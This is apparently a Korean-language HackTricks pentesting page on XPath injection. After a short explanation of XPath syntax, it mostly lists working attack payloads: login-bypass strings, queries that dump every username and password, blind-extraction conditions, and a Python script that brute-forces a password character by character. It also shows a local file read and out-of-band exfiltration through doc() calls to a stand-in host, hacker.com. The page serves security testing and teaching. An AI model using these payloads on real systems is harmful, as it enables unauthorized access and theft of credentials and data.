XPATH injection
Reading time: 8 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Basic Syntax
XPath Injection으로 알려진 공격 기법은 사용자 입력을 기반으로 XPath (XML Path Language) 쿼리를 형성하여 XML 문서를 쿼리하거나 탐색하는 애플리케이션을 이용하는 데 사용됩니다.
Nodes Described
표현식은 XML 문서에서 다양한 노드를 선택하는 데 사용됩니다. 이러한 표현식과 그 설명은 아래에 요약되어 있습니다:
- nodename: "nodename"이라는 이름을 가진 모든 노드가 선택됩니다.
- /: 루트 노드에서 선택이 이루어집니다.
- //: 현재 노드에서 선택과 일치하는 노드가 문서 내 위치에 관계없이 선택됩니다.
- .: 현재 노드가 선택됩니다.
- ..: 현재 노드의 부모가 선택됩니다.
- @: 속성이 선택됩니다.
XPath Examples
경로 표현식과 그 결과의 예는 다음과 같습니다:
- bookstore: "bookstore"라는 이름을 가진 모든 노드가 선택됩니다.
- /bookstore: 루트 요소 bookstore가 선택됩니다. 슬래시 (/)로 시작하는 경로는 요소에 대한 절대 경로를 나타냅니다.
- bookstore/book: bookstore의 자식인 모든 book 요소가 선택됩니다.
- //book: 문서 내 모든 book 요소가 선택됩니다, 위치에 관계없이.
- bookstore//book: bookstore 요소의 자손인 모든 book 요소가 선택됩니다, bookstore 요소 아래의 위치에 관계없이.
- //@lang: lang이라는 이름을 가진 모든 속성이 선택됩니다.
Utilization of Predicates
선택을 세분화하기 위해 술어가 사용됩니다:
- /bookstore/book[1]: bookstore 요소의 첫 번째 book 요소 자식이 선택됩니다. IE 버전 5에서 9까지의 경우 첫 번째 노드를 [0]으로 인덱싱하는 우회 방법은 JavaScript를 통해 SelectionLanguage를 XPath로 설정하는 것입니다.
- /bookstore/book[last()]: bookstore 요소의 마지막 book 요소 자식이 선택됩니다.
- /bookstore/book[last()-1]: bookstore 요소의 마지막에서 두 번째 book 요소 자식이 선택됩니다.
- /bookstore/book[position()<3]: bookstore 요소의 첫 두 book 요소 자식이 선택됩니다.
- //title[@lang]: lang 속성이 있는 모든 title 요소가 선택됩니다.
- //title[@lang='en']: "lang" 속성 값이 "en"인 모든 title 요소가 선택됩니다.
- /bookstore/book[price>35.00]: 가격이 35.00보다 큰 bookstore의 모든 book 요소가 선택됩니다.
- /bookstore/book[price>35.00]/title: 가격이 35.00보다 큰 bookstore의 book 요소의 모든 title 요소가 선택됩니다.
Handling of Unknown Nodes
와일드카드는 알 수 없는 노드를 일치시키는 데 사용됩니다:
- *: 모든 요소 노드와 일치합니다.
- @*: 모든 속성 노드와 일치합니다.
- node(): 모든 종류의 노드와 일치합니다.
추가 예는 다음과 같습니다:
- /bookstore/*: bookstore 요소의 모든 자식 요소 노드가 선택됩니다.
- //*: 문서 내 모든 요소가 선택됩니다.
- //title[@*]: 적어도 하나의 속성이 있는 모든 title 요소가 선택됩니다.
Example
xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
정보를 액세스하다
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
스키마 식별 및 탈취
python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
인증 우회
쿼리 예시:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
사용자 및 비밀번호에서 OR 우회 (두 값이 동일함)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
널 주입 악용
Username: ' or 1]%00
사용자 이름 또는 비밀번호에서 Double OR (취약한 필드가 1개만 있어도 유효함)
중요: "and"가 첫 번째로 수행되는 연산임을 주의하세요.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
문자열 추출
출력에는 문자열이 포함되어 있으며 사용자는 값을 조작하여 검색할 수 있습니다:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
블라인드 익스플로잇
값의 길이를 가져오고 비교를 통해 추출하기:
bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
파이썬 예제
python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
파일 읽기
python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB 익스플로잇
python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
자동 도구
참고 문헌
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.